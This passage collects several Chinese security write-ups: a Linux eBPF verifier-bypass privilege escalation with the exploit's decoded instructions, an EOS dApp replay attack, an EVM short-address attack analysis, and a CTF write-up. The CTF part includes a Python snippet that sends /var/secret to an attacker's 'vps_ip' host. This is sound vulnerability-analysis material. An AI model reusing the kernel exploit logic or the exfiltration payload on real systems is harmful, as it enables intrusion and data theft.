kernel中发现了一个未修复的历史漏洞(已报告给google并修复)，但upstream在2年前就修复了。
而Vitaly
Nikolenko可能是基于CVE-2017-16995的报告，在4.4版本中发现存在类似漏洞，并找到了一个种更通用的利用方法(控制跳转指令)。
#### 0x03 漏洞利用
根据上一节对漏洞原因的分析，我们利用漏洞绕过eBPF
verifier机制后，就可以执行任意eBPF支持的指令，当然最直接的就是读写任意内存。漏洞利用步骤如下：
1. 构造eBPF指令，利用ALU指令缺陷，绕过eBPF verifier机制；
2. 构造eBPF指令，读取内核栈基址；
3. 根据泄漏的SP地址，继续构造eBPF指令，读取task_struct地址，进而得到task_struct->cred地址；
4. 构造eBPF指令，覆写cred->uid, cred->gid为0，完成提权。
漏洞利用的核心，在于精心构造的恶意eBPF指令，这段指令在Vitaly Nikolenko的exp中是16机制字符串(`char
*__prog`)，并不直观，笔者为了方便，写了个小工具，把这些指令还原成比较友好的形式，当然也可以利用eBPF的调试机制，在内核log中打印出eBPF指令的可读形式。
我们来看下这段eBPF程序，共41条指令(笔者写的小工具的输出)：
parsing eBPF prog, size 328, len 41
ins 0: code(b4) alu | = | imm, dst_reg 9, src_reg 0, off 0, imm ffffffff
ins 1: code(55) jmp | != | imm, dst_reg 9, src_reg 0, off 2, imm ffffffff
ins 2: code(b7) alu64 | = | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 3: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 4: code(18) ld | BPF_IMM | u64, dst_reg 9, src_reg 1, off 0, imm 3
ins 5: code(00) ld | BPF_IMM | u32, dst_reg 0, src_reg 0, off 0, imm 0
ins 6: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 7: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
ins 8: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 9: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 0
ins 10: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 11: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 12: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 13: code(79) ldx | BPF_MEM | u64, dst_reg 6, src_reg 0, off 0, imm 0
ins 14: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 15: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
ins 16: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 17: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 1
ins 18: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 19: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 20: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 21: code(79) ldx | BPF_MEM | u64, dst_reg 7, src_reg 0, off 0, imm 0
ins 22: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 23: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
ins 24: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 25: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 2
ins 26: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 27: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 28: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 29: code(79) ldx | BPF_MEM | u64, dst_reg 8, src_reg 0, off 0, imm 0
ins 30: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg 0, off 0, imm 0
ins 31: code(b7) alu64 | = | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 32: code(55) jmp | != | imm, dst_reg 6, src_reg 0, off 3, imm 0
ins 33: code(79) ldx | BPF_MEM | u64, dst_reg 3, src_reg 7, off 0, imm 0
ins 34: code(7b) stx | BPF_MEM | u64, dst_reg 2, src_reg 3, off 0, imm 0
ins 35: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 36: code(55) jmp | != | imm, dst_reg 6, src_reg 0, off 2, imm 1
ins 37: code(7b) stx | BPF_MEM | u64, dst_reg 2, src_reg a, off 0, imm 0
ins 38: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 39: code(7b) stx | BPF_MEM | u64, dst_reg 7, src_reg 8, off 0, imm 0
ins 40: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
parsed 41 ins, total 41
稍微解释下，ins 0 和 ins 1 一起完成了绕过eBPF verifier机制。ins 0指令后，`regs[9] =
0xffffffff`，但在verifier中，`regs[9].imm = -1`，当执行ins 1时，jmp指令判断`regs[9] ==
0xffffffff`，注意regs[9]是64bit integer，因为sign extension，`regs[9] ==
0xffffffff`结果为false，eBPF跳过2(off)条指令，继续往下执行；而在verifier中，jmp指令的`regs[9].imm ==
insn->imm`结果为true，程序走另一个分支，会执行ins 3 jmp|exit指令，导致verifier认为程序已结束，不会去检查其余的dead
code。
这样因为eBPF的检测逻辑和运行时逻辑不一致，我们就绕过了verifier。后续的指令就是配合用户态exp完成对kernel内存的读写。
这里还需要知道下eBPF的map机制，eBPF为了用户态更高效的与内核态交互，设计了一套map机制，用户态程序和eBPF程序都可以对map区域的内存进行读写，交换数据。利用代码中，就是利用map机制，完成用户态程序与eBPF程序的交互。
`ins4-ins5: regs[9] = struct bpf_map
*map`，得到用户态程序申请的map的地址，注意这2条指令，笔者的静态解析并不准确，获取map指针的指令，在eBPF
verifier中，会对指令内容进行修改，替换map指针的值。
ins6-ins12: 调用bpf_map_lookup_elem(map, &key)，返回值为regs[0] = &map->value[0]
ins13: regs[6] = *regs[0]， regs[6]得到map中key=0的value值
ins14-ins20: 继续调用bpf_map_lookup_elem(map, &key)，regs[0] = &map->value[1]
ins21: regs[7] = *regs[0]，regs[7]得到map中key=1的value值
ins22-ins28: 继续调用bpf_map_lookup_elem(map, &key)，regs[0] = &map->value[2]
ins29: regs[8] = *regs[0]，regs[8]得到map中key=2的value值
ins30: regs[2] = regs[0]
ins32: if(regs[6] != 0) jmp ins32 + 3，根据用户态传入的key值不同，做不同的操作
ins33: regs[3] = *regs[7]，读取regs[7]中地址的内容，用户态的read原语，就在这里完成，regs[7]中的地址为用户态传入的任意内核地址
ins34: *regs[2] = regs[3]，把上调指令读取的值返回给用户态
ins36: if(regs[6] != 1) jmp ins36 + 2
ins37: *regs[2] = regs[FP], 读取eBPF的运行时栈指针，返回给用户态，注意这个eBPF的栈指针实际上指向bpf_prog_run函数中的一个局部uint64数组，在内核栈上，从这个值可以得到内核栈的基址，这段指令对应用户态的get_fp
ins39: *regs[7] = regs[8]，向regs[7]中的地址写入regs[8]，对应用户态的write原语，regs[7]中的地址为用户态传入的任意内核地址
理解了这段eBPF程序，再看用户态exp就很容易理解了。需要注意的是，eBPF指令中的3个关键点：泄漏FP，读任意kernel地址，写任意kernel地址，在verifier中都是有检查的，但因为开始的2条指令完全绕过了verifier，导致后续的指令长驱直入。
笔者在Ubuntu 14.04上提权成功：
这种攻击方式和传统的内存破坏型漏洞不同，不需要做复杂的内存布局，只需要修改用户态传入的数据，就可以达到控制程序指令流的目的，利用的是原有程序的正常功能，会完全绕过现有的各种内存防御机制(SMEP/SMAP等)，有一种四两拨千斤的效果。这也是这两年流行的Data-Oriented Attacks，在linux kernel中似乎并不多见。
#### 0x04 漏洞影响范围&修复
因为linux
kernel的内核版本众多，对于安全漏洞的影响范围往往并不容易确认，最准确的方式是搞清楚漏洞根因后，从代码层面判断，但这也带来了高成本的问题，快速应急时，我们往往需要尽快确认漏洞影响范围。
从前面的漏洞原理来看，笔者大致给一个全面的linux kernel受影响版本：
3.18-4.4所有版本(包括longterm 3.18，4.1，4.4)；
< 3.18，因内核eBPF还未引入verifier机制，不受影响。
对于大量用户使用的各个发行版，还需要具体确认，因为该漏洞的触发，还需要2个条件
1. Kernel编译选项CONFIG_BPF_SYSCALL打开，启用了bpf syscall；
2. /proc/sys/kernel/unprivileged_bpf_disabled设置为0，允许非特权用户调用bpf syscall
而Ubuntu正好满足以上3个条件。
关于修复，upstream kernel在3月22日发布的4.4.123版已经修复该漏洞[11][12]，
Ubuntu官方4月5日也正式发布了安全公告和修复版本[13][14]，没有修复的同学可以尽快升级了。
但现在距漏洞Exp公开已经过去20多天了，在漏洞应急时，我们显然等不了这么久，回过头看看当初的临时修复方案：
1. 设置`/proc/sys/kernel/unprivileged_bpf_disabled`为1，也是最简单有效的方式，虽然漏洞仍然存在，但会让exp失效；
2. 使用Ubuntu的预发布源，更新Ubuntu 4.4的内核版本，因为是非正式版，其稳定性无法确认。
Vitaly Nikolenko在twitter上公布的Ubuntu预发布源：all 4.4 ubuntu aws instances are
vulnerable: echo “deb http://archive.ubuntu.com/ubuntu/xenial-proposed
restricted main multiverse universe” > /etc/apt/sources.list && apt update &&
apt install linux-image-4.4.0-117-generic
Ubuntu的非正式内核版本，做了哪些修复，我们可以看下补丁的关键内容(注意这是Ubuntu的kernel版本，非upstream)：
git diff Ubuntu-lts-4.4.0-116.140_14.04.1 Ubuntu-lts-4.4.0-117.141_14.04.1
ALU指令区分了32bit和64bit立即数，同时regs[].imm改为了64bit integer
还增加了一项有意思的检查，把所有的dead_code替换为nop指令，这个明显是针对exp来的，有点类似于exp的mitigation，upstream
kernel可能并不一定喜欢这样的修复风格：）
关于这个漏洞，Ubuntu还有一些相关的修复代码，感兴趣的读者，可以自行发掘。
我们再看下upstream kernel 4.4.123的修复，相比之下，要简洁的多，仅有3行代码改动[12]： 当处理32bit
ALU指令时，如果imm为负数，直接忽略，认为是UNKNOWN_VALUE，这样也就避免了前面提到的verifer和运行时语义不一致的问题。
另外Android kernel上，bpf sycall是没有启用的，所以不受该漏洞影响。
#### 0x05 引发的思考
我们回顾以下整个漏洞分析过程，有几点值得注意和思考：
1. eBPF作为内核提供的一种强大机制，因为其复杂的过滤机制，稍有不慎，将会引入致命的安全问题，笔者推测后续eBPF可能还会有类似安全漏洞。
2. 受限于linux kernel的开发模式及众多版本，安全漏洞的确认和修复可能存在被忽视的情况，出现N day变0 day的场景。
3. Vitaly Nikolenko公布漏洞exp后，有网友就提出了批评，在厂商发布正式补丁前，不应该公布细节。我们暂且不讨论Vitaly Nikolenko的动机，作为一名安全从业者，负责任的披露漏洞是基本守则。
4. 笔者所在公司使用的OS是经过专门的团队量身定制，进行了不少的安全加固和冗余组件裁剪，故不受到此次漏洞影响。可见维护一个安全可靠的OS不失为保障大型企业的安全方案之一。
感谢阅读，行文匆忙，如有不正之处，敬请指出。
#### 0x06 参考文档
[1] <https://twitter.com/vnik5287/status/974439706896187392>
[2] <http://cyseclabs.com/exploits/upstream44.c>
[3] <https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=BPF>
[4] <https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html>
[5] <https://www.kernel.org/doc/Documentation/networking/filter.txt>
[6] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16995>
[7] [https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3](https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3)
[8] <http://kernel.ubuntu.com/git/ubuntu/ubuntu-trusty.git/tree/?h=Ubuntu-lts-4.4.0-31.50_14.04.1>
[9] <https://www.kernel.org/>
[10] <https://lwn.net/Articles/700530/>
[11] <https://lwn.net/Articles/749963/>
[12] <https://lkml.org/lkml/2018/3/19/1499>
[13] <https://usn.ubuntu.com/3619-1/>
[14] <https://usn.ubuntu.com/3619-2/>
* * * | 社区文章 |
**作者：yudan@慢雾安全团队
公众号：[慢雾科技](https://mp.weixin.qq.com/s/gqzkBTxKf7kwL5OgCtMgvQ "慢雾科技")**
### 事件背景：
据慢雾区情报，今日凌晨，攻击 BetDice、ToBet 等游戏的黑客团伙再次对 LuckyMe、GameBet 发动攻击，造成数千 EOS 的损失。
经过慢雾安全团队的分析，此次黑客采用的手法有别于上一次的攻击。本次的攻击为针对项目方的重放攻击。
### 攻击回顾：
据慢雾安全团队威胁情报分析，截止北京时间上午8时，攻击者ultnavrzhium此次攻击共投入金额3773.95 EOS，收入6906.6
EOS，共获利3132.65 EOS。
### 攻击手法：
本次攻击手法与[上一篇文章](https://paper.seebug.org/773/
"上一篇文章")有所不同。但依然利用到了黑名单的手法。以下是攻击详细过程。
(1)第一步，攻击者调用非黑名单合约的 transfer 函数，函数内部有一个 inline action 进行下注，from
填写的是攻击者控制的非黑名单合约帐号，to 填写的是游戏合约帐号。这时，攻击者发送交易是发向游戏合约自己的全节点服务器。使用的是黑名单帐号进行。
(2)第二步，游戏节点读取到了这笔交易，立刻进行开奖，如果中奖，将对攻击者控制的非黑名单帐号发送 EOS。到这里和上一篇黑名单篇的第一步和第二步都是一样的。
(3)第三步，因为项目方开奖和交易id绑定，所以按照上一篇文章的说法,下注交易和开奖交易都会被回滚。即使项目方给攻击者开奖了，到了bp节点的时候，由于查询不到开奖id，开奖交易也会失败。所以为什么还是能攻击成功呢？答案在第四步
(4)上一篇文章说到，在攻击者攻击的时候，所有的逻辑都是在项目方的节点完成的，根据这一点，攻击者就可以在项目方节点广播交易时监听到开奖结果，如果这笔下注是中的，立马以同样的参数（如种子）使用攻击者控制的同一合约帐号发起相同的交易，actor为合约帐号本身，即可成功中奖。
本次攻击可以参考下面的图：
### 防御建议：
1. 节点开启 read only 模式，防止节点服务器上出现未确认的块
2. 建立开奖依赖，如订单依赖，开奖的时候判断订单是否存在，就算在节点服务器上开奖成功，由于在 bp 上下注订单被回滚，所以相应的开奖记录也会被回滚。
3. 项目方在玩家下注的时候校验交易中的`actor`和`from`是否是同一帐号。
4. 接入慢雾安全团队孵化的DApp防火墙--FireWallX(体验地址：https://firewallx.io/console/index.html)，本次LuckyMe攻击者帐号（ultnavrzhium）在LuckyMe被攻击前已在防火墙合约监控名单中。
查询地址：[https://www.eosx.io/account/firewall.x?mode=contract&sub=tables&table=contractlst&lowerBound=&upperBound=&limit=10000](https://www.eosx.io/account/firewall.x?mode=contract&sub=tables&table=contractlst&lowerBound=&upperBound=&limit=10000)
参考链接：
慢雾安全团队分析文章：<https://mp.weixin.qq.com/s/WyZ4j3O68qfN5IOvjx3MOg>
* * * | 社区文章 |
**作者：昏鸦@知道创宇404区块链安全研究团队
时间：2020年8月18日 **
### 前言
以太坊（Ethereum）是一个开源的有智能合约功能的公共区块链平台，通过其专用加密货币以太币（ETH）提供去中心化的以太坊虚拟机（EVM）来处理点对点合约。EVM（Ethereum
Virtual
Machine），以太坊虚拟机的简称，是以太坊的核心之一。智能合约的创建和执行都由EVM来完成，简单来说，EVM是一个状态执行的机器，输入是solidity编译后的二进制指令和节点的状态数据，输出是节点状态的改变。
以太坊短地址攻击，最早由Golem团队于2017年4月提出，是由于底层EVM的设计缺陷导致的漏洞。ERC20代币标准定义的转账函数如下：
`function transfer(address to, uint256 value) public returns (bool success)`
如果传入的`to`是末端缺省的短地址，EVM会将后面字节补足地址，而最后的`value`值不足则用0填充，导致实际转出的代币数值倍增。
本文从以太坊源码的角度分析EVM底层是如何处理执行智能合约字节码的，并简要分析短地址攻击的原理。
### EVM源码分析
#### evm.go
EVM的源码位于`go-ethereum/core/vm/`目录下，在`evm.go`中定义了EVM结构体，并实现了`EVM.Call`、`EVM.CallCode`、`EVM.DelegateCall`、`EVM.StaticCall`四种方法来调用智能合约，`EVM.Call`实现了基本的合约调用的功能，后面三种方法与`EVM.Call`略有区别，但最终都调用`run`函数来解析执行智能合约
###### EVM.Call
// Call executes the contract associated with the addr with the given input as
// parameters. It also handles any necessary value transfer required and takes
// the necessary steps to create accounts and reverses the state in case of an
// execution error or failed value transfer.
//hunya// 基本的合约调用
func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {
if evm.vmConfig.NoRecursion && evm.depth > 0 {
return nil, gas, nil
}
// Fail if we're trying to execute above the call depth limit
if evm.depth > int(params.CallCreateDepth) {
return nil, gas, ErrDepth
}
// Fail if we're trying to transfer more than the available balance
if !evm.Context.CanTransfer(evm.StateDB, caller.Address(), value) {
return nil, gas, ErrInsufficientBalance
}
var (
to = AccountRef(addr)
snapshot = evm.StateDB.Snapshot()
)
if !evm.StateDB.Exist(addr) {
precompiles := PrecompiledContractsHomestead
if evm.chainRules.IsByzantium {
precompiles = PrecompiledContractsByzantium
}
if evm.chainRules.IsIstanbul {
precompiles = PrecompiledContractsIstanbul
}
if precompiles[addr] == nil && evm.chainRules.IsEIP158 && value.Sign() == 0 {
// Calling a non existing account, don't do anything, but ping the tracer
if evm.vmConfig.Debug && evm.depth == 0 {
evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)
evm.vmConfig.Tracer.CaptureEnd(ret, 0, 0, nil)
}
return nil, gas, nil
}
evm.StateDB.CreateAccount(addr)
}
evm.Transfer(evm.StateDB, caller.Address(), to.Address(), value)
// Initialise a new contract and set the code that is to be used by the EVM.
// The contract is a scoped environment for this execution context only.
contract := NewContract(caller, to, value, gas)
contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))
// Even if the account has no code, we need to continue because it might be a precompile
start := time.Now()
// Capture the tracer start/end events in debug mode
// debug模式会捕获tracer的start/end事件
if evm.vmConfig.Debug && evm.depth == 0 {
evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)
defer func() { // Lazy evaluation of the parameters
evm.vmConfig.Tracer.CaptureEnd(ret, gas-contract.Gas, time.Since(start), err)
}()
}
ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约
// When an error was returned by the EVM or when setting the creation code
// above we revert to the snapshot and consume any gas remaining. Additionally
// when we're in homestead this also counts for code storage gas errors.
if err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != errExecutionReverted {
contract.UseGas(contract.Gas)
}
}
return ret, contract.Gas, err
}
###### EVM.CallCode
// CallCode executes the contract associated with the addr with the given input
// as parameters. It also handles any necessary value transfer required and takes
// the necessary steps to create accounts and reverses the state in case of an
// execution error or failed value transfer.
//
// CallCode differs from Call in the sense that it executes the given address'
// code with the caller as context.
//hunya// 类似solidity中的call函数，调用外部合约，执行上下文在被调用合约中
func (evm *EVM) CallCode(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {
if evm.vmConfig.NoRecursion && evm.depth > 0 {
return nil, gas, nil
}
// Fail if we're trying to execute above the call depth limit
if evm.depth > int(params.CallCreateDepth) {
return nil, gas, ErrDepth
}
// Fail if we're trying to transfer more than the available balance
if !evm.CanTransfer(evm.StateDB, caller.Address(), value) {
return nil, gas, ErrInsufficientBalance
}
var (
snapshot = evm.StateDB.Snapshot()
to = AccountRef(caller.Address())
)
// Initialise a new contract and set the code that is to be used by the EVM.
// The contract is a scoped environment for this execution context only.
contract := NewContract(caller, to, value, gas)
contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))
ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约
if err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != errExecutionReverted {
contract.UseGas(contract.Gas)
}
}
return ret, contract.Gas, err
}
###### EVM.DelegateCall
// DelegateCall executes the contract associated with the addr with the given input
// as parameters. It reverses the state in case of an execution error.
//
// DelegateCall differs from CallCode in the sense that it executes the given address'
// code with the caller as context and the caller is set to the caller of the caller.
//hunya// 类似solidity中的delegatecall函数，调用外部合约，执行上下文在调用合约中
func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {
if evm.vmConfig.NoRecursion && evm.depth > 0 {
return nil, gas, nil
}
// Fail if we're trying to execute above the call depth limit
if evm.depth > int(params.CallCreateDepth) {
return nil, gas, ErrDepth
}
var (
snapshot = evm.StateDB.Snapshot()
to = AccountRef(caller.Address())
)
// Initialise a new contract and make initialise the delegate values
contract := NewContract(caller, to, nil, gas).AsDelegate()
contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))
ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约
if err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != errExecutionReverted {
contract.UseGas(contract.Gas)
}
}
return ret, contract.Gas, err
}
###### EVM.StaticCall
// StaticCall executes the contract associated with the addr with the given input
// as parameters while disallowing any modifications to the state during the call.
// Opcodes that attempt to perform such modifications will result in exceptions
// instead of performing the modifications.
//hunya// 与EVM.Call类似，但不允许执行会修改永久存储的数据的指令
func (evm *EVM) StaticCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {
if evm.vmConfig.NoRecursion && evm.depth > 0 {
return nil, gas, nil
}
// Fail if we're trying to execute above the call depth limit
if evm.depth > int(params.CallCreateDepth) {
return nil, gas, ErrDepth
}
var (
to = AccountRef(addr)
snapshot = evm.StateDB.Snapshot()
)
// Initialise a new contract and set the code that is to be used by the EVM.
// The contract is a scoped environment for this execution context only.
contract := NewContract(caller, to, new(big.Int), gas)
contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))
// We do an AddBalance of zero here, just in order to trigger a touch.
// This doesn't matter on Mainnet, where all empties are gone at the time of Byzantium,
// but is the correct thing to do and matters on other networks, in tests, and potential
// future scenarios
evm.StateDB.AddBalance(addr, bigZero)
// When an error was returned by the EVM or when setting the creation code
// above we revert to the snapshot and consume any gas remaining. Additionally
// when we're in Homestead this also counts for code storage gas errors.
ret, err = run(evm, contract, input, true)//hunya// 调用run函数执行合约
if err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != errExecutionReverted {
contract.UseGas(contract.Gas)
}
}
return ret, contract.Gas, err
}
`run`函数前半段是判断是否是以太坊内置预编译的特殊合约，有单独的运行方式
后半段则是对于一般的合约调用解释器`interpreter`去执行调用
#### interpreter.go
解释器相关代码在`interpreter.go`中，`interpreter`是一个接口，目前仅有`EVMInterpreter`这一个具体实现
合约经由`EVM.Call`调用`Interpreter.Run`来到`EVMInpreter.Run`
`EVMInterpreter`的`Run`方法代码较长，其中处理执行合约字节码的主循环如下：
大部分代码主要是检查准备运行环境，执行合约字节码的核心代码主要是以下3行
op = contract.GetOp(pc)
operation := in.cfg.JumpTable[op]
......
res, err = operation.execute(&pc, in, contract, mem, stack)
......
`interpreter`的主要工作实际上只是通过`JumpTable`查找指令，起到一个翻译解析的作用
最终的执行是通过调用`operation`对象的`execute`方法
#### jump_table.go
`operation`的定义位于`jump_table.go`中
`jump_table.go`中还定义了`JumpTable`和多种不同的指令集
在基本指令集中有三个处理`input`的指令，分别是`CALLDATALOAD`、`CALLDATASIZE`和`CALLDATACOPY`
`jump_table.go`中的代码同样只是起到解析的功能，提供了指令的查找，定义了每个指令具体的执行函数
#### instructions.go
`instructions.go`中是所有指令的具体实现，上述三个函数的具体实现如下：
这三个函数的作用分别是从`input`加载参数入栈、获取`input`大小、复制`input`中的参数到内存
我们重点关注`opCallDataLoad`函数是如何处理`input`中的参数入栈的
`opCallDataLoad`函数调用`getDataBig`函数，传入`contract.Input`、`stack.pop()`和`big32`，将结果转为`big.Int`入栈
`getDataBig`函数以`stack.pop()`栈顶元素作为起始索引，截取`input`中`big32`大小的数据，然后传入`common.RightPadBytes`处理并返回
其中涉及到的另外两个函数`math.BigMin`和`common.RightPadBytes`如下：
//file: go-thereum/common/math/big.go
func BigMin(x, y *big.Int) *big.Int {
if x.Cmp(y) > 0 {
return y
}
return x
}
//file: go-ethereum/common/bytes.go
func RightPadBytes(slice []byte, l int) []byte {
if l <= len(slice) {
return slice
}
//右填充0x00至l位
padded := make([]byte, l)
copy(padded, slice)
return padded
}
分析到这里，基本上已经能很明显看到问题所在了
`RightPadBytes`函数会将传入的字节切片右填充至`l`位长度，而`l`是被传入的`big32`，即32位长度
所以在短地址攻击中，调用的`transfer(address to, uint256
value)`函数，如果`to`是低位缺省的地址，由于EVM在处理时是固定截取32位长度的，所以会将`value`数值高位补的0算进`to`的末端，而在截取`value`时由于位数不够32位，则右填充`0x00`至32位，最终导致转账的`value`指数级增大
### 测试与复现
编写一个简单的合约来测试
pragma solidity ^0.5.0;
contract Test {
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
_totalSupply = 1 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address to,uint256 value) public returns (bool) {
require(to != address(0));
require(_balances[msg.sender] >= value);
require(_balances[to] + value >= _balances[to]);
_balances[msg.sender] -= value;
_balances[to] += value;
emit Transfer(msg.sender, to, value);
}
}
remix部署，调用`transfer`发起正常的转账
`input`为`0xa9059cbb00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f0000000000000000000000000000000000000000000000000000000000000001`
直接尝试短地址攻击，删去转账地址的后两位，会发现并不能通过，remix会直接报错
这是因为`web3.js`做了校验，`web3.js`是用户与以太坊节点交互的媒介
#### 源码复现
通过源码函数复现如下：
#### 实际复现
至于如何完成实际场景的攻击，可以参考文末的链接[1]，利用`web3.eth.sendSignedTransaction`绕过限制
实际上，`web3.js`做的校验仅限于显式传入转账地址的函数，如`web3.eth.sendTransaction`这种，像`web3.eth.sendSignedTransaction`、`web3.eth.sendRawTransaction`这种传入的参数是序列化后的数据的就校验不了，是可以完成短地址攻击的，感兴趣的可以自己尝试，这里就不多写了
PS：文中分析的`go-ethereum`源码版本是`commit-fdff182`，源码与最新版有些出入，但最新版的也未修复这种缺陷（可能官方不认为这是缺陷?），分析思路依然可以沿用
### 思考
以太坊底层EVM并没有修复短地址攻击的这么一个缺陷，而是直接在`web3.js`里对地址做的校验，目前各种合约或多或少也做了校验，所以虽然EVM底层可以复现，但实际场景中问题应该不大，但如果是开放RPC的节点可能还是会存在这种风险
另外还有一个点，按底层EVM的这种机制，易受攻击的应该不仅仅是`transfer(address to, uint256
value)`这个点，只是因为这个函数是ERC20代币标准，而且参数的设计恰好能导致涉及金额的短地址攻击，并且特殊的地址易构造，所以这个函数常作为短地址攻击的典型。在其他的一些非代币合约，如竞猜、游戏类的合约中，一些非转账类的事务处理函数中，如果不对类似地址这种的参数做长度校验，可能也存在类似短地址攻击的风险，也或者并不局限于地址，可能还有其他的利用方式还没挖掘出来。
### 参考
[1] 以太坊短地址攻击详解
<https://www.anquanke.com/post/id/159453>
[2] 以太坊源码解析：evm
<https://www.jianshu.com/p/f319c78e9714>
* * * | 社区文章 |
## 前言
昨晚听说有个国外的比赛叫whitehat，做了一会儿发现思路停滞，本打算今天再做，发现已经结束了，按老外的思路，走了一遍，还是挺有意思的
题目都没关，大家还能趁热复现一下~~
## 上传条件竞争与.bashrc
### 题目信息
题目链接：
http://web01.grandprix.whitehatvn.com/
题目描述
Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?
Note: Player shouldn't Dos web01, you can get source code and run in local
### 题干分析
刚拿到这道题的时候我走进了误区，题目给出了源代码
http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py
看到`SimpleHTTPServer`，我的第一反应是ph写的这篇文章
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
我简单的测试了这个跳转的问题
http://web01.grandprix.whitehatvn.com//example.com/%2f..
我发现的确可以成功跳转
我本以为这里可能会出现任意文件读取的问题，因为这里有flag的绝对路径`/var/secret`
但这里没有附带的框架来继承或者使用这个类，所以我们很难进行目录穿越的文件读取
毕竟不是`web.py`或者`django`
### 胡乱摸索
想到这题本身是一个上传
我们随手测试一下，发现上传的目录是/opt
然后web会将目录列出来，我们可以任意访问该目录下的文件
我又尝试了一下目录穿越
发现没有写入权限
于是我尝试了一下`tmp`
发现部分目录是可写的
并且直接使用`/tmp/1.png`这样，甚至不需要`../../`这样穿越
### 另辟蹊径
既然这一点不行，我注意到了题目的提示
Every 1 minute after service starts, he ssh into server to check /var/secret.
我当时错误的理解为了每1分钟会重启一次服务，并且鬼迷心窍的想到了另一方法
因为我发现上传的路径和`SimpleHTTPServerWithUpload.py`是同一个路径
当时我天真的以为，如果我在当前目录下上传一个文件名与`SimpleHTTPServerWithUpload.py`import的库名一致，就会被引入
所以我利用Burp不断上传一个名为`posixpath.py`的文件
内容为：
import requests
import base64
f = open('/var/secret','rb').read()
url = 'http://vps_ip:23333/?'+base64.b64encode(f)
r = requests.get(url=url)
我天真的以为在重启的时候，应该会引入这个文件，并且将flag打到我的vps
这里我利用了条件竞争与文件上传，应该满足题目的意思了吧，应该这样就是正解啦？
但是最终还是以失败告终，我的vps纹丝不动，没收到任何东西
### 神来之笔
后来看到writeup，才发现是
bashrc
profile
这里就要涉及到交互式shell和非交互式shell，login shell 和non-login shell
其中：
交互式模式就是shell等待你的输入，并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的：登录、执行一些命令、退出。当你退出后，shell也终止了。
shell也可以运行在另外一种模式：非交互式模式。在这种模式下，shell不与你进行交互，而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾，shell也就终止了。
